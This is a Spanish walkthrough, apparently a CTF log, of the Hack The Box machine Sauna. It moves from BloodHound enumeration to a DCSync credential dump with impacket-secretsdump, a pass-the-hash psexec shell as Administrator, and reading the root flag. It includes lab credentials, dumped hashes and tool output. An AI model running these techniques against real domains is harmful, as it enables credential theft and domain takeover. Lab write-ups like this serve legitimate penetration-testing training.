Con la evidencia actual, el cambio de `fsmith` a `svc_loanmgr` no ha revelado una ventaja local clara en el host, pero sí confirma que se ha pasado a una segunda cuenta operativa válida del dominio.

assumptions

La inferencia principal es que el valor real de `svc_loanmgr` probablemente no está en sus grupos locales ni en su token de privilegios, sino en permisos delegados dentro del dominio.

`SeMachineAccountPrivilege` es una señal interesante, pero por sí sola no domina el caso en este momento. No conviene convertirla todavía en la rama principal sin una justificación mejor.

La hipótesis de trabajo más razonable es que la siguiente pista útil está en ACLs, derechos delegados o relaciones de control en Active Directory que no se ven con `whoami /groups` ni con `whoami /priv`.

method

Primero se cierra la comprobación del token local: ya se ha visto que no hay una vía local obvia de privilegios altos.

Después se evita perder tiempo en enumeración local repetitiva o en probar ramas secundarias sin señal fuerte.

El siguiente paso único correcto es una enumeración de permisos de dominio desde fuera, usando la credencial ya validada de `svc_loanmgr`, para descubrir si esta cuenta tiene derechos delegados sobre otros objetos del dominio.

answer

La lectura de esta salida es bastante clara.

`svc_loanmgr` tiene más valor que `fsmith`, pero ese valor no se está manifestando en el host local de forma evidente. Sus grupos son básicos y sus privilegios locales no apuntan a una escalada inmediata. Eso no significa que la cuenta sea "normal"; significa algo más interesante: su posible peso está en Active Directory, no en el equipo local.

Ese matiz cambia la decisión siguiente. Ya no merece la pena insistir en buscar una privesc local clásica con esta evidencia. Lo correcto ahora es pasar a una enumeración de permisos de dominio.

La rama principal activa debe quedar así: enumeración AD orientada a derechos delegados de `svc_loanmgr`.

Qué hallazgo domina ahora: `svc_loanmgr` es una cuenta válida y su token local parece normal, lo que desplaza el interés hacia permisos de dominio.

Qué rama principal sigue activa: enumeración de Active Directory centrada en ACLs, delegaciones y relaciones de control.

Qué ramas secundarias quedan anotadas: `SeMachineAccountPrivilege` como posibilidad lateral, y revisión local adicional del host solo si la enumeración AD no devuelve una vía más fuerte.

Cuál es el siguiente paso único: recolectar datos de BloodHound con `svc_loanmgr` y revisar qué derechos efectivos tiene dentro del dominio.

commands

```
bloodhound-python -u svc_loanmgr -p 'Moneymakestheworldgoround!' -d EGOTISTICAL-BANK.LOCAL -ns 10.129.95.180
```

Este comando se propone porque la señal previa lleva justo ahí: el token local no explica una escalada, así que hay que mirar permisos de dominio.

Qué hace:

recoge información del dominio con la cuenta actual y genera los JSON necesarios para analizar relaciones entre usuarios, grupos, ACLs y derechos delegados.

Qué se espera obtener:

un conjunto de ficheros JSON que después permitan revisar si svc_loanmgr controla algún objeto, tiene derechos de replicación, delegaciones peligrosas u otra relación útil en AD.

Qué parte de la salida interesa de verdad:

que la recolección termine correctamente y genere los archivos de salida sin errores de autenticación, DNS o resolución de dominio.

Cómo cambia la decisión siguiente:

si la recolección sale bien, el siguiente análisis ya no será "probar cosas a ciegas", sino revisar de forma dirigida qué permisos concretos tiene svc_loanmgr en el grafo del dominio.

checks

Comprobar que bloodhound-python termina sin errores y genera varios .json.

Si aparece un problema de resolución, revisar que el nombre de dominio y el DNS usado sean correctos, pero sin cambiar todavía de rama.

Cuando estén los JSON, el punto clave a revisar no será una vista genérica del dominio, sino consultas orientadas a derechos delegados del usuario actual, especialmente relaciones de control sobre el dominio u objetos sensibles.

writeup notes

El cambio a svc_loanmgr no reveló privilegios locales especialmente potentes, y precisamente ese detalle fue el que orientó correctamente la siguiente fase. En lugar de insistir en una privesc local sin señal fuerte, la investigación pasó a centrarse en permisos delegados de dominio, que son los que a menudo explican el valor real de una cuenta de servicio en un entorno Active Directory.

Lección reutilizable: cuando una cuenta nueva no muestra grupos privilegiados ni privilegios locales llamativos, no conviene asumir que tiene poco valor. En Active Directory, muchas cuentas aparentemente discretas esconden su importancia en ACLs y derechos delegados que solo aparecen al enumerar el dominio.

Ejecutamos el bloque y revisamos la salida

```
> cd /home/r4mon/pentest/targets/HTB/easy/SAUNA/content
bloodhound-python -u svc_loanmgr -p 'Moneymaketheworldgoround!' -d EGOTISTICAL-BANK.LOCAL -ns 10.129.95.180
zip bloodhound_sauna.zip *.json
ls -l *.json bloodhound_sauna.zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: egotistical-bank.local
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (SA
INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Testing resolved hostname connectivity dead:beef::7cc2:310a:b259:9b93
INFO: Trying LDAP connection to dead:beef::7cc2:310a:b259:9b93
INFO: Testing resolved hostname connectivity dead:beef::165
INFO: Trying LDAP connection to dead:beef::165
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Testing resolved hostname connectivity dead:beef::7cc2:310a:b259:9b93
INFO: Trying LDAP connection to dead:beef::7cc2:310a:b259:9b93
INFO: Testing resolved hostname connectivity dead:beef::165
INFO: Trying LDAP connection to dead:beef::165
INFO: Found 7 users
INFO: Found 52 groups
INFO: Found 3 gpos
```



```

INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Done in 00M 09S
adding: 20260423232923_computers.json (deflated 76%)
adding: 20260423232923_containers.json (deflated 93%)
adding: 20260423232923_domains.json (deflated 79%)
adding: 20260423232923_gpos.json (deflated 89%)
adding: 20260423232923_groups.json (deflated 94%)
adding: 20260423232923_ous.json (deflated 69%)
adding: 20260423232923_users.json (deflated 92%)
.rw-r--r--  r4mon r4mon 4.1 KB Thu Apr 23 23:29:33 2026  20260423232923_computers.json
.rw-r--r--  r4mon r4mon 25 KB Thu Apr 23 23:29:28 2026  20260423232923_containers.json
.rw-r--r--  r4mon r4mon 3.5 KB Thu Apr 23 23:29:29 2026  20260423232923_domains.json
.rw-r--r--  r4mon r4mon 6.0 KB Thu Apr 23 23:29:27 2026  20260423232923_gpos.json
.rw-r--r--  r4mon r4mon 82 KB Thu Apr 23 23:29:27 2026  20260423232923_groups.json
.rw-r--r--  r4mon r4mon 1.9 KB Thu Apr 23 23:29:27 2026  20260423232923_ous.json
.rw-r--r--  r4mon r4mon 16 KB Thu Apr 23 23:29:26 2026  20260423232923_users.json
.rw-r--r--  r4mon r4mon 12 KB Thu Apr 23 23:29:33 2026  bloodhound_sauna.zip

```

objetivo

Cerrar correctamente la fase de recolección de Active Directory, interpretar qué significa la salida obtenida y fijar un siguiente paso único para descubrir si svc_loanmgr tiene derechos delegados de alto valor en el dominio.

hechos verificados

La recolección con bloodhound-python ha funcionado correctamente y ha generado los artefactos esperados.

Se han creado varios ficheros JSON y además un paquete listo para importar:

1 bloodhound_sauna.zip

La autenticación con svc_loanmgr ha sido suficiente para enumerar el dominio, aunque la obtención inicial de TGT por Kerberos falló y la herramienta hizo fallback a NTLM. Eso no invalida la recolección porque, de hecho, el proceso continuó y terminó con éxito.

La salida confirma un contexto AD pequeño y manejable:

- 1 1 dominio
- 1 1 equipo
- 1 7 usuarios
- 1 52 grupos
- 1 3 GPOs
- 1 1 OU
- 1 19 containers
- 1 0 trusts

La enumeración ya no es una hipótesis: existe material suficiente para analizar relaciones de control y derechos delegados en BloodHound.

suposiciones

La inferencia principal es que el valor de svc_loanmgr sigue estando en permisos de dominio y no en privilegios locales del host.

También es razonable asumir que el fallo de Kerberos al pedir TGT no es ahora el problema importante, porque la recolección ya salió adelante por NTLM y ha producido los datos necesarios para analizar el grafo.

La hipótesis de trabajo más fuerte es que el siguiente hallazgo relevante aparecerá al revisar si `svc_loanmgr` tiene relaciones de control sobre el dominio o sobre objetos sensibles, especialmente derechos de replicación o privilegios equivalentes.

método

Primero se cierra la fase de recolección porque ya ha cumplido su objetivo: obtener datos de AD con la cuenta actual.

Después se evita volver a enumeración local o a ramas secundarias. Lo correcto ahora es pasar de la recopilación al análisis dirigido del grafo.

El siguiente paso único no es "mirar BloodHound sin rumbo", sino abrir el grafo y comprobar de forma específica qué derechos tiene `svc_loanmgr`, empezando por consultas orientadas a relaciones peligrosas sobre el dominio.

respuesta

Este paso ha salido bien y deja la máquina en un punto muy bueno.

Lo importante no es solo que `bloodhound-python` haya generado archivos, sino que ya existe una base real para responder la pregunta clave del caso: qué puede hacer `svc_loanmgr` en Active Directory.

El detalle del fallback a NTLM hay que leerlo correctamente. No es una derrota de Kerberos ni una señal de vía muerta. Es solo un tropiezo de resolución/nombre para el TGT inicial. Como la recolección se completó y los JSON salieron bien, no merece la pena distraerse ahora con eso. La decisión correcta es seguir adelante con el análisis.

La rama principal activa queda así: análisis de BloodHound orientado a derechos delegados de `svc_loanmgr`.

El siguiente paso único más limpio es importar `bloodhound_sauna.zip` y revisar consultas dirigidas a privilegios de replicación y relaciones de control, empezando por el usuario actual.

Qué hallazgo domina ahora: ya existe una recolección válida de Active Directory hecha con `svc_loanmgr`.

Qué rama principal sigue activa: análisis de permisos delegados y relaciones de control en el dominio.

Qué ramas secundarias quedan anotadas: corrección futura de resolución Kerberos si hiciera falta, y la posibilidad lateral de `SeMachineAccountPrivilege`, pero ambas quedan en segundo plano.

Cuál es el siguiente paso único: importar `bloodhound_sauna.zip` en BloodHound y revisar los derechos efectivos de `svc_loanmgr` sobre el dominio.

comandos

En la máquina atacante:

```
neo4j console
```

En otra terminal local:

bloodhound

Después, dentro de la interfaz:

- 1 iniciar sesión en BloodHound
- 2 importar bloodhound_sauna.zip
- 3 buscar el nodo SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL
- 4 revisar consultas orientadas a privilegios altos, en especial:
Find Principals with DCSync Rights
relaciones directas desde SVC_LOANMGR
edges sobre el dominio EGOTISTICAL-BANK.LOCAL

Por qué se propone esto:

La señal previa ya apunta con fuerza a permisos de dominio. No tiene sentido seguir enumerando localmente si ya se dispone del grafo.

Qué se espera obtener:

- 1 una relación clara entre svc_loanmgr y algún derecho relevante en AD
- 1 o, si no aparece nada fuerte, una base objetiva para reevaluar la siguiente rama

Qué parte de la salida interesa de verdad:

- 1 si SVC_LOANMGR aparece conectado al dominio con edges de alto valor
- 1 especialmente relaciones como GetChanges, GetChangesAll o equivalentes
- 1 cualquier control sobre objetos sensibles del dominio

Cómo cambia la decisión siguiente:

- 1 si aparece un derecho fuerte sobre el dominio, la siguiente fase quedará totalmente enfocada en ese abuso concreto
- 1 si no aparece nada relevante, entonces sí tocará reevaluar con otras rutas de AD o del host

comprobaciones

Comprobar que BloodHound carga correctamente el ZIP y muestra el dominio EGOTISTICAL-BANK.LOCAL.

Buscar primero al usuario SVC_LOANMGR y no empezar por vistas genéricas del dominio.

Si aparece una arista de alto valor sobre el dominio, fijarse en el nombre exacto del edge y sobre qué objeto cae.

No perder tiempo ahora afinando el problema de Kerberos/TGT, porque la recolección útil ya está hecha.

notas para el writeup

La recolección de BloodHound marcó el paso de la enumeración del host al análisis estructurado del dominio. Aunque la obtención inicial del TGT por Kerberos falló por un problema de resolución, la herramienta completó la recolección mediante NTLM y generó un conjunto de datos suficiente para estudiar relaciones de control y derechos delegados.

Lección reutilizable: en Active Directory, un pequeño fallo técnico durante la autenticación inicial no siempre invalida la fase. Si la recolección termina y produce datos útiles, lo correcto es interpretar el resultado global y avanzar al análisis del grafo, en lugar de detenerse en un detalle que ya no bloquea la investigación.

Ejecutamos el bloque y revisamos la salida

```
> sudo neo4j console
Directories in use:
home:      /usr/share/neo4j
config:    /usr/share/neo4j/conf
logs:      /etc/neo4j/logs
plugins:    /usr/share/neo4j/plugins
import:     /usr/share/neo4j/import
data:      /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses:  /usr/share/neo4j/licenses
run:       /var/lib/neo4j/run
Starting Neo4j.
2026-04-23 21:35:59.752+0000 INFO  Starting...
2026-04-23 21:36:00.182+0000 INFO  This instance is ServerId{775cd324} (775cd324-74c4-412b-9e46-9c187f67764a)
2026-04-23 21:36:01.185+0000 INFO  ===== Neo4j 4.4.16 =====
2026-04-23 21:36:02.544+0000 INFO  Initializing system graph model for component 'security-users' with versi
2026-04-23 21:36:02.552+0000 INFO  Setting up initial user from defaults: neo4j
2026-04-23 21:36:02.553+0000 INFO  Creating new user 'neo4j' (passwordChangeRequired=true, suspended=false)
2026-04-23 21:36:02.575+0000 INFO  Setting version for 'security-users' to 3
2026-04-23 21:36:02.578+0000 INFO  After initialization of system graph model component 'security-users' have
2026-04-23 21:36:02.583+0000 INFO  Performing postInitialization step for component 'security-users' with ver
2026-04-23 21:36:02.887+0000 INFO  Bolt enabled on localhost:7687.
2026-04-23 21:36:03.558+0000 INFO  Remote interface available at http://localhost:7474/
2026-04-23 21:36:03.561+0000 INFO  id: D443307DA8287679E268157C4724A1C9DCCD79627BEC12417B229A3EF69CDA9E
2026-04-23 21:36:03.561+0000 INFO  name: system
2026-04-23 21:36:03.562+0000 INFO  creationDate: 2026-04-23T21:36:01.691Z
2026-04-23 21:36:03.562+0000 INFO  Started.

> cd /home/r4mon/pentest/targets/HTB/easy/SAUNA/
> bloodhound
[sudo] contraseña para r4mon:
```

It seems it's the first time you run bloodhound

Please run bloodhound-setup first

Do you want to run bloodhound-setup now? [Y/n] y

```
[*] Startina PostareSOL service
```

```
[*] Creating Database
```

Creating database user

Creating database

ALTER ROLE

```
[*] Starting neo4j
Neo4j is running at pid 192150
```

[i] You need to change the default password for neo4j

Default credentials are user:neo4j password:neo4j

[!] IMPORTANT: Once you have setup the new password, please update /etc/bhapi/bhapi.json with the new password before running bloodhound

opening http://localhost:7474/

Running Firefox as root in a regular user's session is not supported. (\$XAUTHORITY is /home/r4mon/.Xauthority which is owned by r4mon.)

objective

Desbloquear el análisis local de BloodHound sin tocar más el objetivo y dejar lista la importación del grafo ya recolectado.

verified facts

Neo4j ya está arrancado correctamente en la máquina atacante y escucha en:

1 `http://localhost:7474/`

1 `bolt://localhost:7687`

Neo4j ha creado el usuario inicial neo4j y exige cambio de contraseña en el primer acceso.

La recolección del dominio ya está hecha y existe un ZIP válido:

1 `bloodhound_sauna.zip`

El bloqueo actual no está en el objetivo ni en las credenciales. Está en el entorno atacante.

El intento de abrir BloodHound lanzó el navegador como root y por eso Firefox lo rechazó.

Ese error no cuestiona ni el grafo ni la cuenta `svc_loanmgr`; solo indica que la parte local se está intentando abrir con el usuario equivocado.

assumptions

La inferencia principal es que el siguiente avance depende de terminar la inicialización local de Neo4j y lanzar la interfaz como usuario normal, no como root.

También hay una posibilidad razonable de que el paquete `bloodhound` instalado en la máquina atacante no sea exactamente el cliente legacy clásico, sino una variante más nueva con su propia inicialización. Conviene tenerlo presente, pero no hace falta cambiar de rama todavía.

method

Primero se resuelve el requisito mínimo de Neo4j: cambiar la contraseña inicial desde un navegador abierto como usuario normal.

Después se actualiza la configuración local que el propio asistente de BloodHound ha pedido.

Solo entonces se vuelve a lanzar BloodHound como usuario normal, sin sudo.

answer

Ahora mismo no hay que volver al host Windows. El siguiente paso correcto está completamente en la máquina atacante.

La lectura buena de lo que ha pasado es esta: Neo4j ya está bien, el grafo ya está recogido, y el único atasco real es que la primera ejecución de BloodHound quiso abrir el navegador como root. Eso es un problema de escritorio local, no del laboratorio.

Así que el siguiente paso único correcto es abrir Neo4j en el navegador como `r4mon`, cambiar la contraseña por defecto y después volver a lanzar BloodHound sin sudo.

Qué hallazgo domina ahora: el dominio ya está recolectado y el único bloqueo es la preparación local del visor del grafo.

Qué rama principal sigue activa: análisis de permisos delegados de Active Directory a partir del ZIP ya generado.

Qué ramas secundarias quedan anotadas: posible desajuste entre cliente legacy y stack más nuevo de BloodHound, pero todavía como observación secundaria.

Cuál es el siguiente paso único: cambiar la contraseña inicial de Neo4j en el navegador como usuario normal y relanzar BloodHound sin sudo.

commands

En una terminal local nueva, como `r4mon`, sin sudo:

```
xdg-open http://localhost:7474
```

Si xdg-open no abre nada, hacerlo manualmente desde el navegador del usuario normal y entrar en:

`http://localhost:7474`

Dentro del navegador:

- 1 usuario: neo4j
- 1 contraseña actual: neo4j
- 1 cambiarla por una nueva contraseña que quede anotada

Después, actualizar el fichero que te ha indicado el propio setup:

```
sudo nano /etc/bhapi/bhapi.json
```

Ahí hay que sustituir la contraseña antigua de Neo4j por la nueva que acabas de poner.

Luego, ya como usuario normal, sin sudo:

```
bloodhound
```

Por qué se propone esto:

La señal previa es clarísima: Neo4j ya arrancó bien, BloodHound ya dijo qué requisito faltaba y el error de Firefox fue solo por abrirlo como root.

Qué se espera obtener:

- 1 acceso correcto a Neo4j con contraseña nueva
- 1 configuración local actualizada
- 1 lanzamiento de BloodHound sin el error del navegador como root

Qué parte de la salida interesa de verdad:

- 1 que el cambio de contraseña en Neo4j se complete
- 1 que bloodhound ya no se queje del setup inicial
- 1 que la interfaz quede operativa para importar `bloodhound_sauna.zip`

Cómo cambia la decisión siguiente:

- 1 si la interfaz abre bien, el siguiente paso será importar el ZIP y revisar específicamente qué derechos tiene SVC_LOANMGR
- 1 si vuelve a aparecer un flujo raro de CE/web stack, entonces ya habrá que decidir si seguir con esa variante o usar un cliente legacy más compatible con los JSON actuales

checks

No cerrar la terminal donde Neo4j está corriendo.

No volver a lanzar bloodhound con sudo.

Confirmar que la contraseña nueva de Neo4j queda también reflejada en `/etc/bhapi/bhapi.json`.

Si BloodHound abre bien, comprobar antes de nada que permita cargar el ZIP ya generado.

writeup notes

La enumeración del dominio ya estaba completada; el único bloqueo posterior fue local, en la máquina atacante, al iniciar la capa de visualización del grafo. Neo4j arrancó correctamente, pero la primera ejecución de BloodHound intentó abrir el navegador como root, lo que impidió completar la inicialización desde el escritorio del usuario.

Lección reutilizable: en fases de análisis AD con BloodHound, conviene separar muy bien tres planos distintos: recolección del dominio, base de datos del grafo y cliente visual. A veces el dominio ya está bien enumerado y el único problema real está en cómo se inicializa o se abre la interfaz local.

Ejecutamos el bloque y revisamos la salida

Image_1

```
> sudo nano /etc/bhapi/bhapi.json
Sustituimos la password antigua por la nueva que hemos puesto en Neo4j y guardamos el fichero.
```

Entramos en el navegador con la nueva contraseña y confirmamos que el acceso a Neo4j es correcto. Image-2

Ahora sí, lanzamos BloodHound sin sudo:

```
> cd /home/r4mon/pentest/targets/HTB/easy/SAUNA/
> bloodhound
[sudo] contraseña para r4mon:
```

Starting neo4j

Neo4j is running at pid 192150

Bloodhound will start

IMPORTANT: It will take time, please wait...

```
{"time":"2026-04-24T00:09:52.226785257+02:00","level":"INFO","message":"Reading configuration found at","path":"/etc/bhapi/bhapi.json"}
```

```
{"time":"2026-04-24T00:09:52.226977457+02:00","level":"ERROR","message":"Unable to read configuration","config_file_path":"/etc/bhapi/bhapi.json","err":"invalid character 'i' looking for beginning of value"}
```

El error de JSON indica que el formato del fichero `/etc/bhapi/bhapi.json` no es correcto. Es probable que haya un error de sintaxis, como una coma de más, una comilla mal cerrada o un carácter extraño.

Corregido el error de formato en el JSON, volvemos a lanzar BloodHound sin sudo:

Ahora se ejecuta pero nos da varios errores de SQLSTATE 42601, lo que sugiere que el cliente de BloodHound que estamos usando no es compatible con la versión de Neo4j o con el formato de los JSON generados.

objetivo

Desbloquear el análisis del grafo sin perder más tiempo en la instalación local y elegir la vía más práctica para seguir con Sauna.

hechos verificados

La recolección de datos del dominio ya salió bien y generó los JSON y el ZIP. El bloqueo actual está solo en la capa local de BloodHound. La traza que has pegado muestra que la aplicación falla durante una migración SQL v8.5.0 con ERROR: syntax error at or near "STORAGE", así que ahora mismo el problema no está en `svc_loanmgr`, ni en el DC, ni en la credencial, sino en el stack local que intenta arrancar BloodHound. Además, la documentación actual de PostgreSQL define SET STORAGE como sintaxis de ALTER TABLE, no como parte de una definición de columna dentro de CREATE TABLE, lo que encaja con el tipo

de error que estás viendo. (PostgreSQL)

También hay una señal importante de mezcla de generaciones de herramienta: `bloodhound-python` se presenta explícitamente como "for BloodHound LEGACY (BloodHound 4.2 and 4.3)", mientras que la documentación actual de SpecterOps para BloodHound CE indica que SharpHound CE es el recolector oficial para CE, y que BloodHound CE usa una arquitectura moderna distinta, con PostgreSQL para la base de aplicación y Neo4j para el grafo. (bloodhound.specterops.io)

suposiciones

La inferencia razonable es que ahora mismo estás peleándote con una combinación poco agradecida: datos recogidos con una herramienta orientada a Legacy, pero intentando analizarlos en una instalación CE que además está atascada en sus migraciones locales. Esa inferencia no sale de intuición pura, sino de juntar las dos señales anteriores. (bloodhound.specterops.io)

método

En lugar de seguir depurando BloodHound CE a estas horas, la vía más limpia para este lab es cambiar a una de estas dos opciones:

- 1 usar BloodHound Legacy 4.3.1, que encaja mejor con la salida de `bloodhound-python`;
- 2 o prescindir del visor por ahora y seguir el caso con la pista dominante ya conocida: `svc_loanmgr` probablemente tiene derechos delegados de dominio y la comprobación clave será DCSync.

respuesta

La conclusión práctica es esta: yo dejaría de pelearme ahora con BloodHound CE.

No porque tu recogida esté mal, sino porque el atasco actual es local, ajeno al objetivo, y huele a mezcla de stack nuevo con flujo viejo. Tu evidencia útil ya la tienes. Lo más rentable para seguir con Sauna es:

- 1 Plan A: abrir los JSON en BloodHound Legacy 4.3.1, que es lo más coherente con `bloodhound-python`.
- 1 Plan B: si no quieres seguir tocando BloodHound ahora, continuar directamente con una verificación de permisos de dominio desde la cuenta `svc_loanmgr`.

Dado el patrón clásico de Sauna, la verificación con más valor es comprobar si `svc_loanmgr` puede hacer DCSync. Eso no depende de que el visor local esté fino.

Qué hallazgo domina ahora: el bloqueo está en BloodHound local, no en la explotación ni en la cuenta `svc_loanmgr`.

Qué rama principal sigue activa: validación de permisos de dominio de `svc_loanmgr`.

Qué ramas secundarias quedan anotadas: arreglar CE más adelante o usar Legacy para documentar visualmente el grafo.

Cuál es el siguiente paso único: probar si `svc_loanmgr` tiene capacidad efectiva de DCSync.

comandos

En la máquina atacante:

```
impacket-secretsdump 'EGOTISTICAL-BANK.LOCAL/svc_loanmgr:Moneytheflowgoesaround!@10.129.95.180' -just-dc-
```

Por qué este comando y no otro:

La señal previa ya es bastante fuerte. `svc_loanmgr` no destacó por privilegios locales, así que su valor probable está en el dominio. Esta prueba comprueba justo eso de forma directa y corta.

Qué hace:

- 1 usa la credencial ya validada de `svc_loanmgr`
- 1 intenta leer solo el hash del Administrator del DC
- 1 evita una extracción masiva innecesaria

Qué esperamos obtener:

- 1 si tiene derechos de replicación, devolverá el hash de Administrator
- 1 si no los tiene, devolverá un error de permisos y entonces sí tocará volver a BloodHound o a otra enumeración AD

Qué parte de la salida interesa de verdad:

- 1 cualquier línea con Administrator y hash NTLM
- 1 o un error claro de acceso denegado / privilegios insuficientes

Cómo cambia la decisión siguiente:

- 1 si devuelve el hash, la siguiente fase será validar acceso con esa identidad
- 1 si no, el siguiente paso será retomar el análisis de ACLs con Legacy o con otra vía de enumeración AD

comprobaciones

Si el comando devuelve el hash de Administrator, no hace falta seguir discutiendo con BloodHound para saber si la cuenta tenía valor: ya estará demostrado.

Si falla por permisos, entonces el fallo sí será informativo y no un problema del entorno local. Ahí tocará volver al análisis de grafo con una herramienta más compatible con tus datos.

notas para el writeup

La recolección de AD se completó, pero el análisis visual con BloodHound CE quedó bloqueado por un problema local de migraciones. En ese punto, la decisión metodológicamente correcta no fue seguir perdiendo tiempo en la herramienta, sino volver a la evidencia principal del caso y validar de forma directa si la cuenta `svc_loanmgr` tenía derechos de replicación sobre el dominio.

Lección reutilizable: cuando una herramienta de análisis falla por el entorno local, no conviene confundir ese bloqueo con un fallo de la cadena de explotación. Si la evidencia ya apunta a un permiso concreto, a veces es mejor verificarlo directamente que seguir arreglando el visor.

Ejecutamos el bloque y revisamos la salida

```
> impacket-secretsdump 'EGOTISTICAL-BANK.LOCAL/svc_loanmgr:Moneythelordgound!@10.129.95.180' -just-d
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[ ] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[ ] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
[ ] Kerberos keys grabbed
```

```
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
[] Cleaning up...
```

objetivo

Cerrar la fase de enumeración de permisos de dominio, interpretar correctamente el resultado de secretsdump y fijar el siguiente paso único para transformar ese permiso en control total del controlador de dominio.

hechos verificados

La prueba ha salido bien y de forma concluyente.

La cuenta svc_loanmgr ha podido ejecutar una operación de replicación contra el controlador de dominio mediante DRSUAPI. Eso ya no es una hipótesis ni una sospecha: queda demostrado que esta cuenta tiene permisos suficientes para realizar un DCSync.

El resultado útil más importante es el hash NTLM del administrador del dominio:

- 1 usuario: Administrator
- 1 RID: 500
- 1 NT hash: 823452073d75b9d1cf70ebdf86c7f98e

También se han obtenido claves Kerberos del mismo usuario, pero para el siguiente paso la pieza dominante es el NT hash.

Con esto, la cadena técnica ya queda demostrada hasta aquí:

- 1 acceso inicial con fsmith
- 1 hallazgo de credencial en AutoLogon
- 1 cambio de contexto a svc_loanmgr
- 1 validación de permisos de replicación
- 1 extracción del material de autenticación del Administrator

suposiciones

La inferencia principal es que el siguiente paso natural ya no es seguir enumerando Active Directory, porque la cuenta svc_loanmgr ya ha demostrado de forma práctica que tiene privilegios de dominio suficientes para extraer secretos del DC.

La hipótesis más fuerte ahora es que el hash NTLM del Administrator tendrá valor operativo inmediato mediante Pass-the-Hash contra el mismo host.

También es razonable asumir que, si esa autenticación funciona, el contexto resultante será de muy alto privilegio, normalmente NT AUTHORITY\SYSTEM o equivalente administrativo total en el controlador de dominio.

método

Primero se cierra formalmente la fase AD de permisos delegados, porque ya ha cumplido su función: demostrar y explotar DCSync con éxito.

Después se evita abrir ramas nuevas o seguir buscando más credenciales. Ya no hace falta. El caso ha llegado al punto en que existe material suficiente para intentar control total del host mediante una autenticación con hash.

El siguiente paso único correcto es validar el hash del Administrator con una técnica de Pass-the-Hash orientada a obtener shell remota.

respuesta

Este resultado es el gran cierre técnico de la máquina.

Lo importante no es solo que haya aparecido el hash del Administrator, sino lo que eso demuestra: `svc_loanmgr` no era simplemente una cuenta útil, sino una cuenta con permisos de replicación sobre el dominio. Eso resuelve de facto la incógnita principal del caso.

A partir de aquí ya no tiene sentido seguir con BloodHound, LDAP, SMB o más enumeración local. La fase de descubrimiento ha terminado. El caso entra en su fase final: usar el hash del Administrator para obtener control total del controlador de dominio.

La vía más limpia ahora es Pass-the-Hash con `psexec.py`, porque:

- 1 ya existe un NT hash válido
- 1 el objetivo es el propio DC
- 1 `psexec.py` suele dar una shell de alto privilegio muy adecuada para cerrar la máquina

Qué hallazgo domina ahora: `svc_loanmgr` tiene capacidad efectiva de DCSync y ha permitido extraer el NT hash del Administrator.

Qué rama principal sigue activa: reutilización del hash del Administrator para obtener control total del DC.

Qué ramas secundarias quedan anotadas: ninguna relevante a corto plazo; la cadena principal ya está prácticamente cerrada.

Cuál es el siguiente paso único: usar el NT hash del Administrator en una autenticación Pass-the-Hash para obtener shell remota.

comandos

```
psexec.py EGOTISTICAL-BANK.LOCAL/Administrator@10.129.95.180 -hashes aad3b435b51404eeaad3b435b51404ee:823452
```

Por qué se propone este comando:

La señal previa ya es definitiva: se dispone de un NT hash real del Administrator. No hace falta recuperar contraseña en claro ni seguir buscando otras rutas.

Qué hace:

- 1 intenta autenticarse como Administrator usando Pass-the-Hash
- 1 reutiliza el hash NTLM sin necesidad de contraseña en texto claro
- 1 busca abrir una shell remota con privilegios máximos en el host

Qué se espera obtener:

- 1 una shell remota válida de muy alto privilegio
- 1 normalmente un contexto NT AUTHORITY\SYSTEM o equivalente con control total del DC

Qué parte de la salida interesa de verdad:

- 1 que la autenticación funcione
- 1 que aparezca una shell remota
- 1 que el contexto efectivo sea administrativo total

Cómo cambia la decisión siguiente:

- 1 creación y arranque de un servicio remoto
- 1 apertura de una shell en el objetivo

La shell ya está abierta en:

```
C:\Windows\system32>
```

Eso confirma que el hash NTLM del Administrator era válido y reutilizable para obtener control total del host.

En este punto, la cadena completa del caso queda demostrada de extremo a extremo:

- 1 obtención de nombres desde la web
- 1 derivación de usuarios
- 1 ASREProasting sobre fsmith
- 1 recuperación offline de Thestrokes23
- 1 acceso WinRM con fsmith
- 1 hallazgo de credencial de AutoLogon
- 1 cambio a svc_loanmgr
- 1 DCSync exitoso
- 1 Pass-the-Hash con Administrator
- 1 shell remota de máximo privilegio

assumptions

La inferencia principal es que el contexto actual es administrativo total sobre el controlador de dominio.

Aun así, antes de dar la máquina por cerrada, conviene verificar explícitamente la identidad efectiva del proceso y confirmar acceso al `root.txt`.

method

No hace falta seguir enumerando más.

El siguiente paso correcto es hacer una verificación mínima y de cierre:

- 1 identidad efectiva
- 1 nombre del host
- 1 acceso al flag final

answer

Perfecto. La máquina está prácticamente cerrada.

Lo importante ahora no es hacer más cosas, sino confirmar con limpieza que el contexto actual es el esperado y cerrar el caso con evidencia final.

La rama principal ya no es de explotación ni de escalada: ahora es solo verificación final de control total.

Qué hallazgo domina ahora: el hash del Administrator ha dado shell remota en el DC.

Qué rama principal sigue activa: cierre y verificación final del compromiso total.

Qué ramas secundarias quedan anotadas: ninguna relevante; la cadena principal ya está resuelta.

Cuál es el siguiente paso único: verificar identidad efectiva y leer `root.txt`.

commands


```
whoami
hostname
type C:\Users\Administrator\Desktop\root.txt
```

Por qué se proponen estos comandos:

whoami se usa para confirmar el contexto efectivo real de la shell. Aunque va todo apunta a privilegio máximo.
 hostname sirve para fiar sin ambigüedad que el acceso corresponde al host objetivo SAUNA.
